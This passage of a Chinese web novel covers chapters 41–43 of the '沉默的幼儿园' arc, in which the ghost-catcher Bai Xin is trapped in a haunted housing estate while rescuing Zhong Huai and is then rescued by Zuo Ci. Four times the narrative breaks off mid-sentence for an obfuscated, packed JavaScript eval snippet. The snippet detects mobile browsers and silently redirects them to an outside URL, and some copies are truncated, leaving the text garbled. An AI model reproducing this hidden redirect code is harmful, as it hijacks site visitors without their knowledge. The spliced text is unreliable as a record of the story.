手环忽然一阵猛烈震动,清脆甜美的女声响起:“附近捉鬼师-钟槐发送求救信号,是否确认前往?” 钟槐?! 眼前的屏幕一分为二,左边是朱萸的脸,右边是个地图,上面扎着一颗红色图钉。 那是……白心瞪着眼睛,仔细辨认地址,那好像是……幸福小区?! 手环再次说道:“是否确认前往?” “确认!”白心立刻回答,同时从手环里取出头盔和机车,顺便对着朱萸说道,“我不跟你说了,我要去救人了!” 上次钟槐救了她一命,这次该轮到她了。 白心熄灭手环,戴好头盔,爬上了机车。通体透亮的高大白色机车停在老旧的幼儿园院子里,和周围格格不入,形成了巨大反差。 白心扭头看了一眼已经睡醒、正坐在地上发呆的小孩,心说姐姐先去救另一个姐姐,再回来带你走。 机车迅速发动,白心转回头,身体伏低,看着机车上方那块地图说道: “去幸福小区。” 机车一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884424|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接收到指令,毫不犹豫冲了出去,带着白心穿过幼儿园狭窄的铁门,一道白色的残影消失在院子里,带起一阵警报声。白心骑着机车高速穿越校园,身后的警报声越来越远,胸腔的心跳声却越来越大。 她盯着地图,看着自己和幸福小区越来越近,不禁咬紧了嘴唇。 你千万别有事啊,钟槐。 幸福小区和蓝天幼儿园很近,上次李婧带着她坐公交也就几个站的距离。一路飞驰,熟悉的街景倍速倒退,很快,一人一车就抵达了目的地。 白心停下车,抬起头,大门口“幸福小区”四个字完全失色,暗红色的立体字隐没在浓浓的黑夜里。 不对,那不是普通的黑色—— 那是涌动着的黑色。 白心下车,把机车收进手环里,仍然戴着头盔,同时取出了哭丧棒和勾魂锁。她穿着白色睡衣,脚踩黑色踩屎感拖鞋,右手紧握泛着白光的哭丧棒,慢慢地朝小区里走去。 黑色,恶灵。 白心咬紧牙关,不自觉咽了口口水,小心翼翼地往前走着,心跳越来越快。 一跨进小区大门,她就感觉到一股浓重的黑色雾气把她包裹住了,四周的景色变得十分昏暗,能见度迅速下降,头顶的月光都变得似有似无。 整个小区仿佛一个巨大的黑洞,正慢慢把她吞噬。 “喂,”白心一边走着,一边轻轻说道,“打开手电筒。” 手环听到指令,立即点亮了手电筒。白色光芒从手环的外圈散发出来,以白心为圆心,照亮了周围两三米的区域。 “钟槐之前的位置在哪?”她又问道,这次她记住了,新的灵魂进入时,无法定位到原目标。 手环立即回答:“根据捉鬼师-钟槐的接单任务分析,她应该在幸福小区1栋4楼的404房间。” 1栋。白心抬起手,照了一下路边的路牌,发现自己走反了。 她走的是13栋的方向,是李婧之前带她走过的路。 她只好转身,根据路牌的指示方向往另一头走。 刚转过身,白心就听见一阵脚步声从背后传来。 脚步声急促又凌乱,由远及近,还带着摩擦地面的尖锐声音,白心回过头,看见黑暗中一个人影连滚带爬地朝她跑了过来。 “有鬼啊!!”一个年轻男人的声音从黑雾里传来,他边跑边大喊,“有鬼!有鬼啊!!” 白心的寒毛立刻炸起,条件反射地侧过身体,看见跑来的是一个穿着黄色外卖服的小哥,他跑到白心前面,两腿一软就跪了下来。 她刚进小区,俩人的旁边不远就是小区大门。外卖小哥看见出口,像看见了救命稻草似的哭了出来,边哭边大口喘气。 白心捂着胸口,心跳像擂鼓似的越打越响,本来就紧张得不行,被这人一吓,此刻也大气都不敢喘。 有鬼?白心朝小哥跑来的方向看了一眼,漆黑一片,什么都看不见。她抬起手环看了一眼时间,两点三十分。 不要在凌晨零点至两点点外卖。白心的大脑突然浮现出之前在13栋的墙壁上看到的涂鸦,还有她最后看到的—— 幸福小区闹鬼! 小哥看不见白心,就这么跪在地上喘气。过了一会儿终于平复,掏出手机颤颤巍巍开始拨打电话,对面似乎是他的好友,听见他颤抖的声音后连忙问怎么了。 他抱着手机,嘴唇颤抖,对着好友说道:“快来……快来幸福小区接我……我遇见,我遇见……” “……我遇见鬼打墙了。” 41.沉默的幼儿园(八) 鬼打墙?白心看着跪在地上的外卖小哥,尽管他戴着头盔,脖子和脸上的汗仍然清晰可见。他的汗水和眼泪往下汇聚到下巴,啪嗒啪嗒地滴在地上,整个人像刚从河里捞起来一样浑身湿透。 看着他失魂落魄的模样,白心的心跳越来越快,李婧的话浮现在耳边。 幸福小区最近不太平。 这次看来不是羊群效应了。白心转过头,朝小哥跑来的方向看去,黑雾如同墨水晕开一样飘散在空气里。 小哥打完电话,歇了一会儿,撑着双腿慢慢站了起来,歪歪扭扭朝出口走去,白心转回头,看见他的朋友已经到了。 也是个骑手。骑手看见朋友,大声训斥道:“叫你不要半夜送这里的外卖,你偏不听!” 说完,扶着刚被吓哭的男人上了车,两人迅速离去,头也没回。 白心皱着眉,看着两人离开的背影,外卖小哥在后座软得像一滩烂泥,连身体都几乎直不起来,需要他的朋友伸出一只手来扶着。 连外卖员都知道这里有问题。白心咬紧牙关,紧紧握住手里的哭丧棒,转过身继续往1栋的方向走。 鬼打墙的故事她小时候就听过,意思就是不停地在一个地方转圈。白心举起手腕,贴着小区路边的草坪走,让手电筒的光能够照到旁边的树和指示牌。 幸福小区不大,根据她之前的记忆和李婧带她来的路线,她记得整个小区只有一条主路。 大门正对着的是一片供老人小孩玩乐的四四方方的草坪,草坪上安置了很多游乐设施,最中心是一个凉亭。小区的楼房以这个草坪为圆心,按顺时针方向规律地排布着。 她和李婧去的13栋在小区的右边区域,按这个规律,1栋就应该在最左边。 白心举着左手打光,拿着哭丧棒的右手也抬到了肩膀的高度,每一步都走得小心翼翼,随时准备给未知的危险致命一击。 手环的光照范围有限,白心只能看到自己前方和周围两三米的地方,她感觉到这股黑雾越来越浓了,光照之外的地方几乎已经完全看不见,如果现在有个鬼站在她可见范围之外,她也没办法发现。 员工手册第几条来着,越靠近灵魂本体,所看见的颜色越接近其本身颜色。 白心在浓雾里走着,明白越黑,方向就越正确。 走着走着,她忽然感觉到一阵心慌。白心眉头一皱,发现自己的呼吸变得急促。 怎么回事? 白心停了下来,她甚至能听见自己的心跳剧烈得像打鼓。 一种浑身像有蚂蚁爬般的感觉袭来,白心忽然不受控制地往自己身上挠了挠。这一挠,她发现她把自己的衣服撕下来了。 白心愣在原地,看着左手手心那块布料,再一看,刚才被她挠过的右胳膊处的睡衣,竟然直接被她抠出了一个洞。 白心感觉到越来越多的蚂蚁往身上爬,可是低头一看,身上却什么都没有。 不管了。 她舔了下干涸的嘴唇,吞了口口水,重新举起左手打光,开始沿着路边往前面跑。 她越跑越心慌,心跳像跳踢踏舞似的,越跳越欢,越跳越剧烈,强烈的心慌感几乎要把她吞没。 “钟槐——”她终于使出自己的绝技,大喊道,“钟槐——” 钟槐,你在哪里。 白心举着手,越跑越想哭,还想吐,但不是因为害怕,而是因为心跳已经快到几乎要超出她的承受范围,带来了一阵生理性反应。 好奇怪的感觉。她一边跑,一边觉得这种感觉颇为熟悉。 像……像上课尿憋急了等下课铃的那几秒,像考试即将结束却还在掐着秒写作文的那个时刻,像老师抱着卷子进教室,准备开始一张张念成绩的时候,像……像小时候打屁股针脱下裤子擦上碘酒,等待针头落下的那个瞬间。 生理性呕吐。白心再次停下来,猛咽口水——不然就要吐了。 她侧过身,看见路边又出现了一个路牌。 她举起手,看着路牌上的字——这个路牌和刚才的路牌一模一样。 白心:? 她不是一直在往左边跑吗?她看着指示牌,脑子里想起外卖小哥的话。 鬼打墙。 白心看着眼前这个再次出现的指示牌,皱着眉回想刚才跑过的地方。 刚才她是沿着直线跑的,并且没有经过任何拐角。白心往旁边看去,小区的入口也看不到了,完全是一片黑暗。 白心的眉头豁然舒展,明白了。 她一直在原地转圈。 这就是鬼打墙。 “喂,”白心朝手环问道,“你能实时导航到1栋吗?” 用高科技试试看。 “可以的主人,”手环立刻回答,几秒之后又说道,“主人,您已经在1栋了呢。” 白心:? “我不是在小区的入口吗?”她问道,心跳已经快要爆炸了。 不仅如此,身上也越来越痒,仿佛几百只虱子一起在攻击她,白心一边问一边这里挠一下那里抓一下,每一下都能抠下来一小块衣服布料。 手环又说:“抱歉主人,您确实已经在1栋了。” 爸了个根的!白心举起手环绕一圈,四周还是一片平地,旁边也还是草坪,根本就不是在小区楼里的样子。 “那我在几楼?”她又问道。 手环回答:“您在4楼404房间。” 白心:“……” 这意思是,她已经到了恶鬼老家了?比起恐慌,白心竟然感到一丝无语,心想这鬼也是够无聊的,让人不停兜圈子很有趣吗? 白心站在原地,旁边是草坪和路牌,心情却和刚进来的时候完全不同了。 她难受得要死了。白心捂着胸口蹲下来,感觉到心里一阵阵疼痛,似乎有一只无形的手在用力地往外扯她的心,要狠狠地扯出来才罢休。 身上也是痒得近乎疼痛,她觉得自己现在像一根正在被人剥皮的香蕉,要把她的外皮扒下来。 这鬼还吃鬼吗?异食癖吗?白心死死咬着嘴唇,又问道:“为什么我这么难受?” 手环立即回答:“您已经进入S级恶灵的领域,且无任何防护措施,相当于完全暴露。” 大意了。白心的头上的冷汗滴下来,心想穿个睡衣就来了,确实太不尊重人家了。 手环又说:“需要为您唱一首歌壮壮胆吗,主人?” 白心两眼一翻,咬牙切齿说道:“滚。” “呜呜,”手环委屈地回答,“好的主人。” 白心左手捂着心口,右手哭丧棒撑在地上,慢慢地站起来。她额头上冒出豆大的汗珠,看着漆黑一片的前方,从牙齿缝里挤出几个字:“给我把机车取出来。” 下一秒,一辆白光闪闪的机车就停在了她的面前。 白心收起哭丧棒,艰难地爬上去,机车上方屏幕亮起,低沉的女声说道:请选择您的目的地。 “幸福小区1栋4楼404。”她说。 白心趴低身体,机车立刻扶正,车头前方亮起了灯,照亮了前方十来米的道路。 既然你不让我出去,那我就创死你!她想,管你打的什么墙,统统都被我创烂! 机车如出膛子弹一样飙了出去,白心看不清前面的路,只能看着机车的屏幕。屏幕里的起始地和目的地完全重合,白心看到代表着自己的绿色箭头正在原地疯狂地转圈。 然而机车跑的是直线。 机车飞驰着,白心却感觉不到任何的风,她骑在车上,整个左半边漆黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885395|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片,右边仍然是小区的草坪。 她匀速行驶着,每隔一段时间右边就会出现那块路牌,提示着她仍在原地。 “钟槐——”她又喊道,“你在哪——” 她抬着头,朝前方黑暗里大喊。机车屏幕里的时间是四点,她已经不知不觉在这里待了一个半小时了。 “给黑白无常和土地婆打电话!”白心死死盯着前方,大声喊道。 该是你们来救人的时候了。她想,然后又说,“等等!” “怎么了主人?”电话拨到一半,手环不禁疑问。 “给……给阎王也打个电话吧。”白心想,这可是你妹妹啊阎王!钟榆死了,你还能看着钟槐再出一次事吗! 说完,她又说:“给地藏王菩萨也打电话!” Sorry了领导们,白心身上痒得发麻,心里却十分冷静,心说总得留个后手,万一这鬼连阎王也搞不定要敬他三分,她们岂不是要全交代在这了。 菩萨,你忍心看着你心爱的员工一个个离开吗!这可是几千万功德的工伤,不对,因公殉职啊! 手环听完白心的话,立刻亮起了屏幕,白心看到屏幕从左到右均匀分成了四块,从左到右按照职位从低到高排列。 “他俩用一个电话啊?”白心看着最左边的谢必安&范无救,不禁问道。 手环同时拨打四个电话,回答道:“是的,黑白无常形影不离,同为一体。” 好惨的打工鬼,万分紧张中白心还能抽空想,和同事捆绑,跟让她直接去死有什么区别。 电话没有接通。 白心皱着眉,看着屏幕里四个电话,没有一个电话接通。 “打不出去吗?”她又问道,难道进入S级灵魂的领域,信号会被屏蔽? 手环拨打完第三遍,确认无法接通后回答:“不是,就是对方没有接听。” 白心:“……” 屏幕熄灭,空气重回寂静。机车还在原地打转,白心看着车头屏幕里旋转的绿色箭头,心乱如麻。 是我咖位太小吗?阎王和菩萨不接能理解,她想,为啥黑白无常和朱萸也不接? 钟槐,你在哪里。 “钟槐——”白心又喊了起来,实在是没有别的办法了。 也怪她出来得太急,没有想到先给领导们打电话。白心骑在车上,心里一阵沮丧,旁边的路牌不知道出现了多少次了,一遍又一遍地提示着她还在原地转圈。 只有一个办法了。 白心轻轻松开左手,把手环递到嘴边,狠狠地咬了一口。 求救按钮。白心的牙齿咬下按钮,想,虽然不一定会有人来,但是多一个人求救,就是多一分被拯救的希望。 “钟槐——”她继续喊道,“钟槐,你在哪里——” 要是能把恶鬼吵死也行,她想,刘晓希不就是听到了她的呐喊后连眼泪都不流了吗。 忽然,白心感觉到身下一阵颠簸。 她赶紧扶住车把,大喊道:“停下来!” 机车慢慢刹车,白心看到周围的黑雾好像淡了一些。 不是,这真有用啊?白心惊呆了,她感觉到身上的痒感也没那么重了,连心跳都不知不觉平缓了许多。 这鬼也受不了这个? 愣了两秒,她迅速扯着嗓子继续喊:“钟槐——” 既然受不了,那你就受着。她想,死鬼,赶紧把钟槐还给我! “钟——” 她正要继续喊,却看见前面的黑雾里慢慢走过来一个人。 那个人身材矫健,十分高大,边朝白心走来边说:“你的嗓音不小嘛,白心。” 白心眨眨眼,看着轮廓越来越清晰的人,不禁瞪大了双眼—— “左姐?” 42.沉默的幼儿园(九) 左慈穿着一身黑色防护服,头戴黑色头盔,左手拿着一根长长的黑色棍子,慢慢从黑雾里走出来。 她走到白心的光照范围里,隔着头盔的目视镜,看着骑在机车上的白心,笑着说道:“胆子真大啊,防护服都不穿。” 白心看着全副武装的左慈,说道:“左姐,你……” 话音未落,白心就看到左慈的背后的黑雾里又走出来两个人。 钟槐和王二。 看清来人,白心的双眼瞪大:“你们……” 两人和全身上下严丝合缝包裹一点破绽都没有的左慈不同,一个比一个狼狈。 白心看到,钟槐的红棕色皮衣和黑色牛仔裤上面全是洞,里子都露了出来,部分布料还挂在上面,随着动作一晃一晃,不规则的破洞边缘像被人硬生生用手撕下来似的……旁边的王二就更惨了,白心咽了口口水,看见同样穿着黑色皮衣的鬼火少男此刻丝毫没有了当初和她对峙时的凶狠和锐气。 他的衣服几乎全被撕烂,更恐怖的是,连身上的皮肤也被撕了下来。王二的胳膊挂在钟槐的脖子上,脑袋耷拉下去,在钟槐的搀扶下走得十分艰难。 白心看着他,同为白色灵魂,王二的手上、腿上、甚至是脸上都布满了形状大小不一的黑色的洞。 战损版的两人慢慢走进白心的打光区域,钟槐轻喘着气,看着白心,竟然笑了一下:“你真的很吵哎。” 白心:“……” 左慈转过身去,没好气地看着两个小孩,抬起右手给了钟槐的脑袋一个暴栗,说道:“胡闹!出来捉鬼不晓得穿防护服吗,你以为穿个皮衣很帅吗?!” “还有你,”左慈的右手捏着王二的下巴,把他低下去的脑袋抬起来,“你跟着她凑什么热闹!你以为你很牛吗?!” 王二的脸被抬起,白心看到他的眼神亮晶晶的,有种清澈的愚蠢,哪怕是被左慈训斥也丝毫没有任何反抗的意思。 这是完全被驯化了。白心看着乖巧听话的王二,又看了一眼旁边一脸不羁但是又被打得很痛正在摸脑袋的钟槐,顿时不明觉厉。 钟槐一边抠着头皮一边小声说道:“我可没有让他来……” “还说!”左慈瞪了一眼钟槐,又说道,“赶紧走!” “怎么走?”白心终于说话,她看了一眼周围,虽然是没有刚才那么黑了,但还是无路可走啊。 左慈转过身来,看着白心,叹了口气,说道:“你也是,随便就这么来了,万一出了事怎么办?” “抱歉,”白心也看着左慈,说道,“一时情急……” 不知道为什么,看见钟槐出事,她的心里就跟上了火一样着急,像小时候看见钟榆被欺负时的那种感觉。 在场四个人,左慈穿着高级防护服,钟槐和王二穿着战损皮衣,白心穿着一身睡衣,还骑着一辆机车,不能说不搭,只能说十分诡异。白心从车上跳下来,把机车收回手环里,抬起手挠了挠头发,又问道:“我们要怎么出去?” 虽然没看见鬼,但是S级恶灵的威力也算是让她体会到了,确实不是好惹的。和刚刚幼儿园的小孩比,简直是小鬼见大鬼。 左慈的左手还拿着那根黑色长棍,右手往大腿一摸,瞬间从侧面掏出来一把黑色手枪,说道:“从上面出去。” “上面?”白心抬起头,天空漆黑一片,连月亮也看不见。 钟槐看见左慈掏出手枪,问道:“这鬼不抓了吗?” 左慈把长棍收进她的手环,两只手拉动手枪套筒,迅速将子弹上膛,动作十分流畅利落。 她笑了一下,说道:“你俩都这样了,怎么抓?” “这个不是普通的S级,”左慈抬起手,把枪口对准白心的眉心,“我一个人也抓不住。” “砰——” 一团白光射了出来,击中了白心。白心还没反应过来,就感觉到自己的眉心一凉,身下一轻,整个人慢慢地飘了起来。 第一次被人用枪指着头,还是熟人,白心确实吓到了,待她完全反应过来,左慈已经对着钟槐王二和自己都开了枪,四个人全都飘了起来。 白心回过神,惊奇地看见自己正被一个巨大的透明泡泡包裹着,抬起头,钟槐和王二两人在同一个泡泡里,旁边左慈也是,和她一样在泡泡里,共同往上飘着。 “这是?”白心看着眼前泛着白光的泡泡,其表面流光溢彩,隐隐约约有蜘蛛网一样的图案闪现。 左慈收起枪,双手抱胸,看着白心回答道:“捕灵网。” 捕灵网?白心伸出手指,轻轻地碰到了泡泡的边缘,被戳的地方立马变成了实心一样的白色,网状图案也更清晰。 更像精灵球。白心收回手指,看着前面两个大泡泡里的三个人,再次感叹地府的科技太发达了。 “这是改良过的,”左慈又说,“用来给我们逃生,真正捕捉恶鬼的捕灵网跟这不同。” 白心听见左慈的话,“哦”了一声,表示知道了。她转过头,看着一脸疲惫的钟槐和旁边半死不活的王二,问道:“既然有这么高级的东西,你怎么不用?” 左慈也转过去,双手叉着腰,对着俩人训斥道:“又带着你那破符就来了吧,防护服不穿,装备也不带,你能耐了是吧?” 钟槐听见两个人的质问,把脸撇到一旁,伸出手摆了摆,表示懒得解释。 小屁孩。白心嗤了一声,就知道逞能。 四周的黑雾越来越淡,不知道过了多久,白心终于看到一丝白光,抬起头一看,巨大的月亮近在咫尺。 低头,幸福小区就在脚底,整个小区都被一团黑色的浓雾笼罩着。 “你俩自己飘着,”左慈对着钟槐说道,转过身朝着白心飘过来,伸出手,“你牵着我。” 左慈靠了过来,两个捕灵网迅速融合成了一个,白心也赶紧伸出手牵住她的手,下一秒,左慈又掏出枪来,对着捕灵网就是一枪,白心看到包裹着她们的网渐渐消失,她俩完全飘在了空中。 白心低下头,俯视着整个城市,江山如此多娇,她心里却想的是幸好我没有恐高。 左慈也朝钟槐两人开了一枪,随后从手环里调出了一辆车,停在了空中。 白心看着眼前这辆熟悉的黑色豪车,不禁长大了嘴,惊讶说道:“这车是你的呀,左姐。” 怎么有人做鬼都这么有钱?人和人的区别咋这么大? 左慈嗯哼了一声,打开前门就把白心塞进了副驾驶,自己往主驾驶飘去了。 钟槐也打开了后座车门,带着王二坐了进去。 车门关闭,左慈把着方向盘,正准备出发,外面却传来急促的一声“等等——” 谁? 白心向左转过头,看向主驾驶的窗外,三张熟悉的面孔正排排站在外面。 “你们……”白心看着车门外的三个人,黑白无常和土地婆正飘在空中,面色焦急地看着车内。 左慈打开车窗,对着左边的三人说道:“坐不下了。” “你没事吧?”朱萸还是穿着她那豹纹睡衣,一边说一边敲着后车窗。 一向高冷的谢必安和吊儿郎当的范无咎此刻也都神情恐慌,不停地往后座探头探脑。 钟槐转过头,没有打开车窗的意思,她看了一眼靠在她肩膀上已经睡着的人,淡淡说道:“走吧。” 好热闹啊。 白心看着外面的三个人,心说再来一个就可以凑两桌麻将了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894659|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “抱歉,我们来迟了。”白无常微微低头,不知是向着左慈还是钟槐道歉。 好玛丽苏的一句话,白心看着此时此刻十分卑微的白无常,心想好像那个什么臣来迟了。 这是对谁道歉呢?她又想,左慈和钟槐是捉鬼师,和他俩都是同一个上级,这卑躬屈膝的样子跟她在老板面前汇报一模一样,生怕下一秒就被开了似的。 总不能是对我吧。白心呵呵一笑,转念一想不对,之前他俩答应过她,遇到危险会来救她。 但也不用这样吧,白心看着神色十分紧张的黑白无常,两人都是一副大气不敢喘的模样。她左右环视了一圈,也没发现有其他人。 没有人说话,左慈关上车窗,目不斜视,踩下油门,白心还没反应过来,车就带着人飞了出去。 黑色劳斯莱斯在黑夜里穿行,一颗黑色子弹从巨大的明月前飞过,留下一道淡淡的黑影。 白心抬起头看了一眼头顶的后视镜,在月光的照耀下,后座两人的狼狈模样看得更清楚了。 王二闭着眼睛,半个身体都靠在钟槐身上,钟槐扭过头看着窗外,脸上有些脏,神色却淡淡的。 “说说吧,”左慈先开口,“刚才怎么回事?” 钟槐沉默了几秒,说道:“恰好路过。” “你骗鬼呢,”左慈没好气道,“你恰好路过,他也恰好路过?” 他—— 白心从镜子里看见,王二闭着眼睛,眉头紧皱,身上几乎是千疮百孔,连脖子上的纹身都被抠下来了一块。 她赶紧往自己身上看——同样的,她的睡衣也被她抠得破破烂烂,这里一个小洞那里一个大洞。 她不禁回想起刚才在鬼打墙里的感受,浑身像有蚂蚁爬一般的痒感,以及剧烈得快要跳出来的心跳。 “这鬼属猴的?”白心不禁开口问道,这实在是太匪夷所思了,“怎么把人当香蕉一样扒皮啊?” 画皮吗?是对自己的容貌不满意,想要换张皮?这鬼有容貌焦虑? “不清楚,”左慈边开车边回答,“没有看见灵魂本体,我们也无法得知其具体执念是什么。” “你是怎么找到我的?”白心抬起头,看着左慈的侧脸。 她在里面起码打转了一个多小时,除了身边的路牌更是什么都没见到,不知道左慈是用什么方法一下就找到了她。 “我一直能听见你的声音。”钟槐却突然说道。 嗯?白心回头,看见钟槐的大眼睛正看着她,眼里疲惫不已,她说:“你就在我的身后。” 什么意思?白心皱眉,怎么听不懂呢? “我也是,”左慈也说,“我也一直能感应到你们仨,就在我的附近,但是我怎么靠近也看不到你们。” 白心的寒毛不禁炸起——好诡异的说法,什么叫感应到却看不到? “我差点以为你要撞死我。”钟槐又说。 额…… 白心想起自己骑在机车上的疯狂模样,不好意思地挠了挠头,说道:“我这不是没办法了,才想要骑车看看能不能把鬼创死嘛。” 左慈“噗”地一声笑了出来,哈哈哈大笑了三声,说道:“说不定真是你这招起效了,鬼都拿你没办法了呢。” “呵呵,”白心干笑一声,也说道,“这鬼恐怕是个社恐,就怕别人闯进家里大声说话。” 说完,她自己都觉得颇有道理。她现在就是鬼,除了能飞,和当人的时候也没太大区别。 “但是,”钟槐又说道,“我总觉得,不是我们在奔跑。” “嗯?”左慈回答,“什么意思?” 钟槐顿了几秒,回答道:“我感觉,是地面在跑,而不是我们。” 43.沉默的幼儿园(十) 一行人停在太阳小区上空,白心抬起手腕看了眼时间,正好五点。 夏季的天空亮得早,白心坐在副驾驶,看见前方即将天光大亮,黑色逐渐褪去,被白色和蓝色替代,远处还有一抹淡淡的金色。 她侧过头,从车窗往下看,太阳小区的每一栋楼房都清晰可见,和刚才的幸福小区简直天差地别。 左慈操纵着方向盘,慢慢把车放下去,很快,这辆比整个小区房子加起来都贵的车就停在了她们楼下。 “走吧。”车一停稳,左慈就拉开车门率先走了出去。 白心迅速下车,钟槐也扛着王二下了车,四个人一起朝楼栋里走去。 白心跟在后面,眼看着就要上二楼,拧巴劲又犯了,不知道是跟着她们进去,还是先回自己家。 左慈仿佛感应到了她的想法,开口说道:“白心,你先回去,这两个孩子需要疗伤,你白天再来找我,我一直在家,有一些事我还要和你交代。” “好。”白心迅速点头,同时大松了一口气,不用去别人家做客了。 四人在二楼分别,白心独自一人前往七楼。 一夜又过去了。 钟槐的话回荡在她的脑海里。 地面在跑。白心仔细思索着这句话,地面怎么跑?跟跑步机传送带一样吗?还是马戏团那种站在球上跑步的杂技? 这鬼喜欢看人玩杂耍?什么鬼,白心笑了,被自己的无厘头想法搞得无语了一下。 她有点不太理解,钟槐说完后也没再解释,左慈也没追问。王二更是早就晕了过去,四个人即将抵达小区,谁也没再说话。 或许是都觉得太诡异,或许是都累了。 白心一边走,一边被楼道里漏进来的逐渐亮起来的天光包裹,终于感觉到一阵疲惫。 真的好累。她感觉自己又轻又重,大脑也一片混沌。 今天已经是周二了,离她投胎又近了一天,只剩四十六天了。 短短三天,结识的人比她前二十五年加起来都多。黑白无常、钟槐、刘晓希、李婧、王二、朱萸、左慈…… 还有不知不觉被她忘记的钟榆。 这对她这个低精力人来说已经完全超负荷了。白心苦笑了一下,经过前半夜和幼儿园小孩的周旋和后半夜在幸福小区的战斗,她现在已经快晕过去了。 怎么总有种请君入瓮的感觉呢。白心边走边想,大脑里十分混乱,一种危险的直觉在冥冥中指引着她,告诉她前方道路崎岖。 请集中注意力。 白心甩甩脑袋,再怎么想集中注意力思考也不行了。她的灵魂本就孱弱,加上昨天肉身还发烧了,再强行运作下去,恐怕等不到投胎那天就先飞升了。 她放空大脑,放空身心,终于走到了七楼。 她走上最后一阶台阶,穿过了自家的大门。 这里是她的家。 这里也不是她的家。 这个房子的产权不属于她,房子里的家具也不是她买的。房东人很好,愿意给她减一些房租,还给她拿来了很多实用的小物品,但是她仍然无法完全把这里当成她的家。 所以她不会像小时候打扮娃娃一样认真打扮她的房间,也不会买各种盆栽花草之类的让房间充满生机。她像一只没有壳的蜗牛,孑然一身,轻松不用负重的同时也暴露在了风雨里,所以她还是要不断寻找新的壳,搬进去,搬进她暂时的落脚点。 白心站在床边,看着陈灵睡得四仰八叉,脑袋歪在一边,一只腿还搭在了她的身上。 但她的左手仍然覆盖在她的额头上。 白心紧张疲惫的身心突然就放松了。她轻轻爬上床,侧过身躺下来,蜷缩在陈灵的右边。 像跑了一场漫长的马拉松,看见终点处家人正在等你。 白心闭上眼睛,休息的同时等待灵魂归位。她的肉身睡在陈灵的左边,灵魂蜷在陈灵的右边,虽然摸不到,但她却感觉到前所未有的安心。 她突然理解了小黑,为什么总是喜欢蜷缩在她的旁边。 好舒服哦。晨光熹微,一切都那么安静柔和,天色即将亮起,白心闭着眼,听着陈灵轻微的鼾声,仿佛进入了一片温柔乡。 晚安,她在心里说。 晚安。 …… …… 睁眼,陈灵已经不见了。 白心盯着天花板看了好半天,意识才逐渐清醒。昨晚发的烧太狠,她的大脑此刻仿佛格式化了一样,什么都想不起来。 旁边的手机猛地震动,白心向旁边摸去,看见陈灵发来了信息。 -起来记得把药喝了再去上班,晚上我会再过来。 言简意赅,清晰明了。白心向右转头,看见被陈灵睡过的枕头有一个小坑。 她盯着那个坑发了会儿呆,才终于坐起。她的头发炸得像鸡窝,身上也黏黏糊糊,白心低下头,看见自己的睡衣上有很多黑色的脏污。 嗯? 她看着右胳膊肘那块灰色圆斑,终于想起凌晨在幸福小区的事。她又低头仔细查看,发现那个时候被她抠掉的地方全都是这样的灰黑色痕迹。 钟槐。左慈。 白心想起两个人,赶紧掀被子下床,又想起借左慈的裤子还没洗,左看右看在房里转了一圈,最后发现裤子已经被陈灵洗了,此刻正挂在外面的窗台上,随风飘荡着。 白心打开窗户,把裤子和其他衣服都收下来,迅速抱着衣物冲进浴室洗澡。 洗着洗着,她又想起昨天在煤气罐下发现的手表。 赵志雄的。钱一茜的话浮现在耳边,她皱了皱眉,热水冲刷着身体,却冷不丁打了个寒颤。 她和赵志雄又不熟,赵志雄为什么要送她回家?送她就算了,还把手表送到了她家煤气罐下面? 还有那天,一向不怎么和她说话的他一反常态,非要跟她喝酒。白心想起赵志雄敬酒时的眼神,他的银丝眼镜反射出寒光,皮笑肉不笑的表情愣是让她从她认为平时老实本分与世无争的程序员赵志雄的脸上看出了点衣冠禽兽的感觉。 不对劲。白心赶紧关掉热水,三下五除二擦干身体,穿好衣服冲出了浴室。 她一个飞扑就扑到了床上,拿起手机就准备给钱一茜发信息。 然而刚打开聊天软件,组长的消息劈头盖脸地就来了。 张蔷:人呢?怎么没来上班? 哦吼,白心一拍脑袋,忘记请年假了!白心捶了自己一拳,怎么把这事忘了! 不过也不能怪她。白心一边打字请假一边想,她这几天的事是真多,可以说达到了前所未有的密度,自从她死了,不得不给地府打工就算了,还莫名其妙涌出来了一大堆人扰得她心神不宁。 这不,现在还得打人间的工,请人间的假。 白心给组长说明了情况,打开OA开始走流程,心想这一天天的,死了比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 